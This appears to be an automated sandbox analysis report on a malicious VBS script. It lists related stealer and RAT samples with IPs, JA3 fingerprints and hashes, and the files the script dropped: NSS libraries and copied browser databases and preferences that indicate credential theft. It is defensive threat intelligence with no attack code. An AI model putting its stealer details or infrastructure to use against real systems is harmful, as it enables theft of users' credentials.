	https://sanbernardinoscounty.telcom-info.com/	Get hash	malicious	HtmlDropper	Browse	104.21.55.67
INTERNET-ARCHIVEUS	qiEmGNhUij.vbs	Get hash	malicious	AsyncRAT, DcRat, PureLog Stealer	Browse	207.241.227.240
	ZJbugHcHda.vbs	Get hash	malicious	PureLog Stealer	Browse	207.241.227.240
	0BO4n723Q8.vbs	Get hash	malicious	PureLog Stealer	Browse	207.241.227.240
	PofaABvatI.vbs	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	207.241.227.240
	SecuriteInfo.com.Exploit.CVE-2017-11882.123.29427.26024.rtf	Get hash	malicious	PureLog Stealer	Browse	207.241.227.240
	SecuriteInfo.com.Exploit.CVE-2017-11882.123.22759.7388.rtf	Get hash	malicious	Remcos	Browse	207.241.227.96
	RFQ 2024.09.26-89 vivecta.vbs	Get hash	malicious	PureLog Stealer	Browse	207.241.227.240
	AGMETIGA zapytanie ofertowe.xls	Get hash	malicious	PureLog Stealer	Browse	207.241.227.240
	REQUEST FOR QUOTATION.js	Get hash	malicious	PXRECVOWEIWOEI Stealer, PureLog Stealer	Browse	207.241.235.61
	sostener.vbs	Get hash	malicious	Remcos, PureLog Stealer	Browse	207.241.227.240
DATACLUBLV	file.exe	Get hash	malicious	Unknown	Browse	46.183.218.37
	file.exe	Get hash	malicious	Unknown	Browse	46.183.218.37
	POandSpecs.exe	Get hash	malicious	XenoRAT	Browse	84.38.132.74
	hJm4BAWmD2.exe	Get hash	malicious	XenoRAT	Browse	109.248.150.213
	EIirQiZnX9.img	Get hash	malicious	AgentTesla, GuLoader	Browse	109.248.150.159
	17265837652d55c0f124ae83612d8bd5caa1d7f12d178ec09d2162f830ec997362a0f3d454121.dat-decoded.exe	Get hash	malicious	AveMaria, PrivateLoader	Browse	109.248.151.156
	file.exe	Get hash	malicious	GuLoader	Browse	46.183.220.28
	file.exe	Get hash	malicious	GuLoader	Browse	46.183.220.28
	3TpW2Sn68z.exe	Get hash	malicious	Remcos	Browse	84.38.132.103
	1q4wVJgStc.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	46.183.223.107

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	qiEmGNhUij.vbs	Get hash	malicious	AsyncRAT, DcRat, PureLog Stealer	Browse	162.159.140.237 207.241.227.240
	2THp7fwNQD.vbs	Get hash	malicious	Unknown	Browse	162.159.140.237 207.241.227.240
	iJEK0xwucj.vbs	Get hash	malicious	Unknown	Browse	162.159.140.237 207.241.227.240
	ZJbugHcHda.vbs	Get hash	malicious	PureLog Stealer	Browse	162.159.140.237 207.241.227.240
	0BO4n723Q8.vbs	Get hash	malicious	PureLog Stealer	Browse	162.159.140.237 207.241.227.240
	PofaABvatI.vbs	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	162.159.140.237 207.241.227.240
	file.exe	Get hash	malicious	Credential Flusher	Browse	162.159.140.237 207.241.227.240
	mitec_purchase_order_PDF (1).vbs	Get hash	malicious	PXRECVOWEIWOEI Stealer	Browse	162.159.140.237 207.241.227.240
	DHL Shipping documents 0020398484995500.exe	Get hash	malicious	AgentTesla	Browse	162.159.140.237 207.241.227.240
	http://tvsurf.jp/	Get hash	malicious	Unknown	Browse	162.159.140.237 207.241.227.240

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\mozglue.dll	17265837652d55c0f124ae83612d8bd5caa1d7f12d178ec09d2162f830ec997362a0f3d454121.dat-decoded.exe	Get hash	malicious	AveMaria, PrivateLoader	Browse
	BqM3S4dN0J.exe	Get hash	malicious	AveMaria, PrivateLoader, UACMe	Browse
	Julcbozqsvtzlo.cmd	Get hash	malicious	Remcos, AveMaria, DBatLoader, PrivateLoader, UACMe	Browse
	Nordsee Energy Project _Firm RFQ_KE-24826.exe	Get hash	malicious	AveMaria, PrivateLoader, UACMe	Browse
	ORDER883274777724884pdf.vbs	Get hash	malicious	AveMaria, PrivateLoader	Browse
	17194198846f19431fa86ff695fe063dadb4561f59dac5dc011432c27d123f4314e8bbacda424.dat-decoded.exe	Get hash	malicious	AveMaria, PrivateLoader	Browse
	8x121Y7FNW.js	Get hash	malicious	AveMaria, PrivateLoader	Browse
	e9d0af516a8d65649c6850b69ff15e65cba280f8d44dbc505882dd16cf922320_dump.exe	Get hash	malicious	AveMaria, PrivateLoader, UACMe	Browse
	filedoc3720001.exe	Get hash	malicious	AveMaria, PrivateLoader, UACMe	Browse
	6aa115e03c3a0a7a2e8b8122c4c484263dc004c6b1f168b98922d89d6570a6e4_payload.exe	Get hash	malicious	AveMaria, UACMe	Browse
C:\Users\user\AppData\Local\Temp\freebl3.dll	17265837652d55c0f124ae83612d8bd5caa1d7f12d178ec09d2162f830ec997362a0f3d454121.dat-decoded.exe	Get hash	malicious	AveMaria, PrivateLoader	Browse
	BqM3S4dN0J.exe	Get hash	malicious	AveMaria, PrivateLoader, UACMe	Browse
	Julcbozqsvtzlo.cmd	Get hash	malicious	Remcos, AveMaria, DBatLoader, PrivateLoader, UACMe	Browse
	Nordsee Energy Project _Firm RFQ_KE-24826.exe	Get hash	malicious	AveMaria, PrivateLoader, UACMe	Browse
	ORDER883274777724884pdf.vbs	Get hash	malicious	AveMaria, PrivateLoader	Browse
	17194198846f19431fa86ff695fe063dadb4561f59dac5dc011432c27d123f4314e8bbacda424.dat-decoded.exe	Get hash	malicious	AveMaria, PrivateLoader	Browse
	8x121Y7FNW.js	Get hash	malicious	AveMaria, PrivateLoader	Browse
	e9d0af516a8d65649c6850b69ff15e65cba280f8d44dbc505882dd16cf922320_dump.exe	Get hash	malicious	AveMaria, PrivateLoader, UACMe	Browse
	filedoc3720001.exe	Get hash	malicious	AveMaria, PrivateLoader, UACMe	Browse
	6aa115e03c3a0a7a2e8b8122c4c484263dc004c6b1f168b98922d89d6570a6e4_payload.exe	Get hash	malicious	AveMaria, UACMe	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulL4w/l/lZ:NllUMwl/
MD5:	5E4245540CA0496B6A4E15149DB9B371
SHA1:	6F912443CDFD9F0C474E2ACC755E982C5E3CF8BB
SHA-256:	6892D98C8FEF52384104FB8712A0E1DA43C1B5CA8E7E32CF33200354E2FBC522
SHA-512:	1E61844BED5A7A30C6DE358CC6E351FFE6F783F27B5FAC2C4E71C2F9047D84C396C91E2B3264F043D03C41AAB179C7ADD3408AD68C966C1299827363DC3AF4B0
Malicious:	false
Reputation:	low
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0lqryue3.j5p.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	high, very likely benign file
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3ewc4gs0.nq4.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	high, very likely benign file
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5crdsbbm.lvl.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zcyy4yc3.52n.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\freebl3.dll

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	334288
Entropy (8bit):	6.806904510927404
Encrypted:	false
SSDEEP:	6144:u8YBC2NpfYjGg7t5xb7WOBOLFwh8yGHrIrvqqDL6XPbjm:ubG7F35BVh8yIZqn6vm
MD5:	EF12AB9D0B231B8F898067B2114B1BC0
SHA1:	6D90F27B2105945F9BB77039E8B892070A5F9442
SHA-256:	2B00FC4F541AC10C94E3556FF28E30A801811C36422546A546A445ACA3F410F7
SHA-512:	2AA62BFBA556AD8F042942DD25AA071FF6677C257904377C1EC956FD9E862ABCBF379E0CFD8C630C303A32ECE75618C24E3EEF58BDDB705C427985B944689193
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Joe Sandbox View:	Filename: 17265837652d55c0f124ae83612d8bd5caa1d7f12d178ec09d2162f830ec997362a0f3d454121.dat-decoded.exe, Detection: malicious, Browse Filename: BqM3S4dN0J.exe, Detection: malicious, Browse Filename: Julcbozqsvtzlo.cmd, Detection: malicious, Browse Filename: Nordsee Energy Project _Firm RFQ_KE-24826.exe, Detection: malicious, Browse Filename: ORDER883274777724884pdf.vbs, Detection: malicious, Browse Filename: 17194198846f19431fa86ff695fe063dadb4561f59dac5dc011432c27d123f4314e8bbacda424.dat-decoded.exe, Detection: malicious, Browse Filename: 8x121Y7FNW.js, Detection: malicious, Browse Filename: e9d0af516a8d65649c6850b69ff15e65cba280f8d44dbc505882dd16cf922320_dump.exe, Detection: malicious, Browse Filename: filedoc3720001.exe, Detection: malicious, Browse Filename: 6aa115e03c3a0a7a2e8b8122c4c484263dc004c6b1f168b98922d89d6570a6e4_payload.exe, Detection: malicious, Browse
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$........./...AV..AV..AV...V..AV].@W..AV.1.V..AV].BW..AV].DW..AV].EW..AV..@W..AVO.@W..AV..@V.AVO.BW..AVO.EW..AVO.AW..AVO.V..AVO.CW..AVRich..AV........................PE..L...BW.[.........."!.........f......)........................................p......3R....@.........................p...P............@..x....................P......0...T...............................@...............8............................text...t........................... ..`.rdata..............................@..@.data...,H..........................@....rsrc...x....@......................@..@.reloc.......P......................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\mozglue.dll

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	137168
Entropy (8bit):	6.782906762178928
Encrypted:	false
SSDEEP:	3072:4kdWyaKm15vd/q/Py9UbfkVgxp1qt/t3PvT4UD2JJJvPBrSezRy:Fdtm15vtSfkVgxp12/t3PLxD2JJJvPQZ
MD5:	75F8CC548CABF0CC800C25047E4D3124
SHA1:	602676768F9FAECD35B48C38A0632781DFBDE10C
SHA-256:	FB419A60305F17359E2AC0510233EE80E845885EEE60607715C67DD88E501EF0
SHA-512:	ED831C9C769AEF3BE253C52542CF032AFA0A8FA5FE25CA704DB65EE6883C608220DF7102AC2B99EE9C2E599A0F5DB99FD86894A4B169E68440EB1B0D0012672F
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Joe Sandbox View:	Filename: 17265837652d55c0f124ae83612d8bd5caa1d7f12d178ec09d2162f830ec997362a0f3d454121.dat-decoded.exe, Detection: malicious, Browse Filename: BqM3S4dN0J.exe, Detection: malicious, Browse Filename: Julcbozqsvtzlo.cmd, Detection: malicious, Browse Filename: Nordsee Energy Project _Firm RFQ_KE-24826.exe, Detection: malicious, Browse Filename: ORDER883274777724884pdf.vbs, Detection: malicious, Browse Filename: 17194198846f19431fa86ff695fe063dadb4561f59dac5dc011432c27d123f4314e8bbacda424.dat-decoded.exe, Detection: malicious, Browse Filename: 8x121Y7FNW.js, Detection: malicious, Browse Filename: e9d0af516a8d65649c6850b69ff15e65cba280f8d44dbc505882dd16cf922320_dump.exe, Detection: malicious, Browse Filename: filedoc3720001.exe, Detection: malicious, Browse Filename: 6aa115e03c3a0a7a2e8b8122c4c484263dc004c6b1f168b98922d89d6570a6e4_payload.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........U..;..;..;.....;.W....;...8..;...?..;...:..;...>..;...:...;..:.w.;...?..;...>..;...;..;......;...9..;.Rich.;.........................PE..L....T.[.........."!.....z...................................................@............@A........................ ...t.......,.... ..x....................0..h......T...................4.......H...@...................L........................text....x.......z.................. ..`.rdata..>e.......f...~..............@..@.data...............................@....didat..8...........................@....rsrc...x.... ......................@..@.reloc..h....0......................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\msvcp140.dll

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	440120
Entropy (8bit):	6.652844702578311
Encrypted:	false
SSDEEP:	12288:Mlp4PwrPTlZ+/wKzY+dM+gjZ+UGhUgiW6QR7t5s03Ooc8dHkC2es9oV:Mlp4PePozGMA03Ooc8dHkC2ecI
MD5:	109F0F02FD37C84BFC7508D4227D7ED5
SHA1:	EF7420141BB15AC334D3964082361A460BFDB975
SHA-256:	334E69AC9367F708CE601A6F490FF227D6C20636DA5222F148B25831D22E13D4
SHA-512:	46EB62B65817365C249B48863D894B4669E20FCB3992E747CD5C9FDD57968E1B2CF7418D1C9340A89865EADDA362B8DB51947EB4427412EB83B35994F932FD39
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........A.........V5=......A.....;........."...;......;......;.......;.......;......;.-....;......Rich...........PE..L....8'Y.........."!................P........ ......................................az....@A.........................C.......R..,....................x..8?......4:...f..8............................(..@............P.......@..@....................text...r........................... ..`.data....(... ......................@....idata..6....P....... ..............@..@.didat..4....p.......6..............@....rsrc................8..............@..@.reloc..4:.......<...<..............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nss3.dll

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	1246160
Entropy (8bit):	6.76559888004065
Encrypted:	false
SSDEEP:	24576:Ab5zzlswYNYLVJAwfpeYQ1Dw/fEE8DhSJVIVfRyAkgO6S/V/jbHpls4MSRpMxkxo:+zW5ygDwnEZIYkjgWjblMSRpMqm
MD5:	D7858E8449004E21B01D468E9FD04B82
SHA1:	9524352071EDE21C167E7E4F106E9526DC23EF4E
SHA-256:	78758BF7F3B3B5E3477E38354ACD32D787BC1286C8BD9B873471B9C195E638DB
SHA-512:	1E2C981E6C0CA36C60C6E9CAE9548B866D5C524DF837095B30D618D9C322DEF7134C20DE820105400DD1B58076B66D90274F67773AC6BA914F611B419BABB440
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......#.4.g.Z.g.Z.g.Z.n...s.Z..[.e.Z..B..c.Z..Y.j.Z.._.m.Z..^.l.Z.E.[.o.Z..[.d.Z.g.[..Z..^.m.Z..Z.f.Z....f.Z..X.f.Z.Richg.Z.................PE..L...#W.[.........."!................w........................................@...........@..................................=..T.......p........................}..p...T..............................@............................................text............................... ..`.rdata...R.......T..................@..@.data...tG...`..."...B..............@....rsrc...p............d..............@..@.reloc...}.......~...h..............@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\softokn3.dll

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	144848
Entropy (8bit):	6.539673483315818
Encrypted:	false
SSDEEP:	3072:0Af6suip+d7FEk/oJz69sFaXeu9CoT2nIVFetBWPqeFYMMa:J6PbsF4CoT2OeN43Ma
MD5:	471C983513694AC3002590345F2BE0DA
SHA1:	6612B9AF4FF6830FA9B7D4193078434EF72F775B
SHA-256:	BB3FF746471116C6AD0339FA0522AA2A44A787E33A29C7B27649A054ECD4D00F
SHA-512:	A9B0FB923BC3B567E933DE10B141A3E9213640E3D790B4C4D753CF220D55593AE8026102909969BA6BFC22DA3B2FCD01E30A9F5A74BD14A0FDEC9BEAF0FB1410
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........l$...JO..JO..JO.u.O..JO?oKN..JO?oIN..JO?oON..JO?oNN..JO.mKN..JO-nKN..JO..KO~.JO-nNN..JO-nJN..JO-n.O..JO-nHN..JORich..JO........PE..L...+W.[.........."!.........b...............................................P............@..........................................0..x....................@..`.......T...........................(...@...............l............................text.............................. ..`.rdata...D.......F..................@..@.data........ ......................@....rsrc...x....0......................@..@.reloc..`....@......................@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\vcruntime140.dll

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	83784
Entropy (8bit):	6.890347360270656
Encrypted:	false
SSDEEP:	1536:AQXQNgAuCDeHFtg3uYQkDqiVsv39niI35kU2yecbVKHHwhbfugbZyk:AQXQNVDeHFtO5d/A39ie6yecbVKHHwJF
MD5:	7587BF9CB4147022CD5681B015183046
SHA1:	F2106306A8F6F0DA5AFB7FC765CFA0757AD5A628
SHA-256:	C40BB03199A2054DABFC7A8E01D6098E91DE7193619EFFBD0F142A7BF031C14D
SHA-512:	0B63E4979846CEBA1B1ED8470432EA6AA18CCA66B5F5322D17B14BC0DFA4B2EE09CA300A016E16A01DB5123E4E022820698F46D9BAD1078BD24675B4B181E91F
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........NE...E...E.....".G...L.^.N...E...l.......U.......V.......A......._.......D.....2.D.......D...RichE...........PE..L....8'Y.........."!......... ...............................................@............@A......................................... ..................H?...0..........8...............................@............................................text............................... ..`.data...D...........................@....idata..............................@..@.rsrc........ ......................@..@.reloc.......0......................@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\.zyDKbw.tmp

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\BmIvB.G.tmp

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	601509
Entropy (8bit):	6.009032047307258
Encrypted:	false
SSDEEP:	12288:v/zUE3ETdHB+LeuC6MeAOXw6VwIHDIu62IPXjHV:X6RHw1C6MqgIDjyPT1
MD5:	42C2EBC54581AC47FB5D8F01902DCEBF
SHA1:	706A4A789DEB72F11BD47B29417D06B083BD302F
SHA-256:	AF5EEFB41935639C5D8FCD3D6DA834832B62A44A93E856898C2664C6B7F78735
SHA-512:	8E391DE3E857F9E448E5A4478AC170C7CEB9E1D9B5904BF9B0491D68BFA3076EB1315159F94ED3D85A4895DC71D14C7774073B602C18AE0EF833A9876E199913
Malicious:	false
Preview:	{"browser":{"first_run_finished":true,"shortcut_migration_version":"117.0.5938.149"},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"legacy":{"profile":{"name":{"migrated":true}}},"management":{"platform":{"azure_active_directory":0,"enterprise_mdm_win":0}},"network_time":{"network_time_mapping":{"local":1.696499469977869e+12,"network":1.69649947e+12,"ticks":950784969.0,"uncertainty":2115320.0}},"os_crypt":{"app_bound_fixed_data":"AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAG7I4XamucEiJgTIvWNrX8QAAAAACAAAAAAAQZgAAAAEAACAAAAD/i5iZthvbAMtQI7LwVpFb6jmIRlnZBn3BOL+GZt4kogAAAAAOgAAAAAIAACAAAABrT9mzRTsNQCdkuszmZKjpexNj6pJ09kyX6bwi+21l8WABAAC2oOGGveU6vtEtyQAIMBMXo7f864ZX39/zY32wXs2ycQ6SoKTjYg7Br2GFeNLLP279dGg8Zuzkl8PZaQtQPJ+wYAAvzw/sRMCe0iF3uJ7Kw9zB62X16c4T+scYcq9Dmqv88jZ9QpusCOnz2QdwDmnuAjYAEFaWbKP7uQ+SnzdDWQHVXD1+dwbZpQWa8x21LgEmlB/JwHBUlXnGTlbJNM/86NOp0VESKNzRg9tYvr0QOVTugQn/8kgsBWz2hnKxt6/JKyLjCqmGrrVwBIqp4h98HPLgssce9hMqhqambQ6wEZM9vPGGQNfobT/qUkNaQU6RWKKKvKUTpYhs1Bsu5t24JQ6PZ4

C:\Users\user\AppData\Roaming\nEofbjk.tmp

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\rfwzH.o.tmp

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	41554
Entropy (8bit):	6.092063318051665
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kozUXqgfbRFXUqNNJ8vQYqGwLWZkHUfG6kCvoc:z/Ps+wsI7yndsDqfyW0e6kaoc
MD5:	51103BDEC12BF3AB1D77859A5428CB8F
SHA1:	9CDEA877EC32997269EEA396BF5453D7E7BB6D08
SHA-256:	1360FD6D8A494282867F0F78B89359F675DF5897C596AF9A735B5B3985E26A98
SHA-512:	D023812335ADA1F689580D4E6E02E9B9C888B86E3B6C2B73B8DA91D0824F69AEFEF1E7913186D0ADC4ED6AD029C3E67BE41CADFA25E551460F1C2FA3F45C3B9F
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

Static File Info

General

File type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Entropy (8bit):	3.7438161969409154
TrID:	Text - UTF-16 (LE) encoded (2002/1) 64.44% MP3 audio (1001/1) 32.22% Lumena CEL bitmap (63/63) 2.03% Corel Photo Paint (41/41) 1.32%
File name:	89SkYNNpdi.vbs
File size:	520'010 bytes
MD5:	8826da2dae531f219269ca314cec4f88
SHA1:	a5c24e29d2b9901a0849fe4c70dd67733febcb57
SHA256:	3ca2d0a1abba4f885e740032d2314993fac09ffffe14a4c6a89aacf65684e45b
SHA512:	9899a75d918671927f0dce5824135427899d75c88c153f78e8fa9ca5d39383a2cb33d092376ae631f507a3bd855636968724d9509d180e2c3a0a307a697e7de5
SSDEEP:	12288:r4IJKsC/UX6neBCN6Jy7f24Sjmr8NeAkWrIXbl/MCmgdTQFq30+XDNNRsgbZAKIo:kkgn2MHhso/
TLSH:	FEB40A1135EAB048F1F32FA356F955E98FABB5652A36911E7048070F4BA3E80CE51B73
